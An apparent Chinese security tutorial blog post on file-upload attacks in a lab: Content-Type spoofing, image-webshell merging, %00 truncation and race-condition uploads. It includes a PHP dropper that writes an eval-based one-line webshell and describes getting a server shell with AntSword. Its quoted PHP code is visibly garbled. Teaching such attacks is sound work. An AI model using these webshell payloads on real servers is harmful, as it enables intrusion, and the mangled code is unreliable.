文件绕过、上传

本文详细介绍了文件上传中的几种攻击方式,包括文件类型绕过攻击,通过修改Content-Type来绕过服务端的文件类型检查;如何生成带有图片特征的webshell,利用文件合并技巧绕过getimagesize()限制;文件截断攻击,特别是php%00截断的原理与应用;以及竞争上传攻击,展示了利用时间差执行竞争条件攻击的过程。这些内容揭示了文件上传安全的重要性及其防范措施。

文件类型绕过攻击

使用burp 抓包工具进行抓包分析。
测试地址:http://192.168.1.180/4.7.8/upload.html
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
上传php文件,更改上传文件类型就可以进行绕过。
代码分析:
在这里插入图片描述
服务端代码判断FILES["file"]["type"]是不是图片的格式(image/gif,image/jpeg,image/pjpeg),如果不是,则不允许上传该文件,而_FILES["file"]["type"]是不是图片的格式(image/gif,image/jpeg,image/pjpeg),如果不是,则不允许上传该文件,而FILES["file"]["type"]image/gif,image/jpeg,image/pjpeg,_FILES[“file”][“type”]是客户端请求数据包中的Content-Type,所以可以通过修改content-Type的值绕过该代码的限制。

在PHP中还存在一种相似的文件上传漏洞,PHP函数getimagesize()可以获取图片的宽,高信息,如果上传的不是图片文件,那么getimagesize()就获取不到信息,则不允许上传。

怎么生成一个带有图片特征webshell?

但是,我们可以将一个图片和一个webshell合并为一个文件,列如使用以下命令。
Cat image.png webshell.php > image.php
此时,使用getimagesize()就可以获取图片信息,且WebShell的后缀是php,也能被Apache解析为脚本文件,通过这种方式就可以绕过getimagesize()的限制。

文件截断攻击

截断类型:php%00截断
截断原理:由于00代表结束符,所以会把00后面的所有字符删除。
截断条件:php版本小于5.3.4 php的magic_quotes_gpc为off状态。
在这里插入图片描述
文件截断绕过代码分析
$is_upload = false;
msg=null;if(isset(msg = null; if(isset(msg=null;if(isset(_POST[‘submit’])){
$ext_arr = array(‘jpg’,‘png’,‘gif’);
fileext=substr(file_ext = substr(fileext=substr(_FILES[‘upload_file’][‘name’],strrpos(FILES[′uploadfile′][′name′],".")+1);if(inarray(_FILES['upload_file']['name'],".")+1); if(in_array(FILES[uploadfile][name],".")+1);if(inarray(file_ext,$ext_arr)){
$temp_file = $_FILES[‘upload_file’][‘tmp_name’];
$img_path = GET[′savepath′]."/".rand(10,99).date("YmdHis")."."._GET['save_path']."/".rand(10, 99).date("YmdHis").".".GET[savepath]."/".rand(10,99).date("YmdHis").".".file_ext;
if(move_uploaded_file(tempfile,temp_file,tempfile,img_path)){
$is_upload = true;
} else {
$msg = ‘上传出错!’;
}
} else{
$msg = “只允许上传.jpg|.png|.gif类型文件!”;
}
}
看到imge_path是拼接的,所以可以尝试%00 截断,关于截断大致说下原理:

常见的截断上传有:0x00,%00,/00 截断的核心在于chr(0)这个字符,这个函数表示返回以数值表达式值为编码的字符,举个例,print chr(78) 结果是N,所以char(0)表示的ascll字符是null,当程序输出包含chr(0)变量时,chr(0)后面的数据会被截断,后面的数据直接忽略,导致漏洞产生。

竞争条件攻击
一些网站上传文件的逻辑是允许上传任意文件,然后检查上传的文件是否包含webshell脚本,如果包含则删除该文件。这里存在的问题是文件上传成功后和删除文件之间存在一个短的时间差(因为要执行检查文件和删除文件的操作),攻击者就可以利用这个时间差完成竞争条件的上传漏洞攻击。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

竞争上传攻击

1.访问上传靶机
在这里插入图片描述
发现上传其它类型的文件会成功,但是之后就会被删除,只能上传图片文件。
2.采用竞争上传,
1.首先上传一个自动生成一句话木马的文件,这里以php为列代码如下:

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>

通过生成到目标服务器。
2.发现上传上去的文件很快就被删除了,没有足够的时间去执行。

3.通过burp抓包获取上传文件的数据包。
在这里插入图片描述
采用多线程的方式就行上传

在这里插入图片描述
在这里插入图片描述
4.访问目标机上传的文件路径执行文件,
在这里插入图片描述
访问成功,文件也相应的被执行,
5.这时访问成功上传生成的一句话木马的进程。
在这里插入图片描述
也访问成功,说明一句话上传成功。
6.接下来我们有蚁剑尝试连接一句话木马。
在这里插入图片描述
成功通过一句话拿到服务器的shell。
在这里插入图片描述

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值